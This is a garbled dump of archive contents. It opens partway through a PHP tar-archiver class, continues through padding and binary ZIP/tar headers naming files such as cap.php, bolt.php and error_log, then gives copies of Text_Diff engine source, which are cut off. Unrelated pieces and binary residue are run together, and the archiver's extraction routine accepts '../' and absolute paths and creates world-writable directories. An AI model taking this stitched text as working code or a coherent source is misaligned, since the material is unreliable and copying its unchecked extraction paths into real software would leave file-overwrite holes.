		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Engine.zip                                                                                          0000644                 00000077134 15217301643 0006513 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

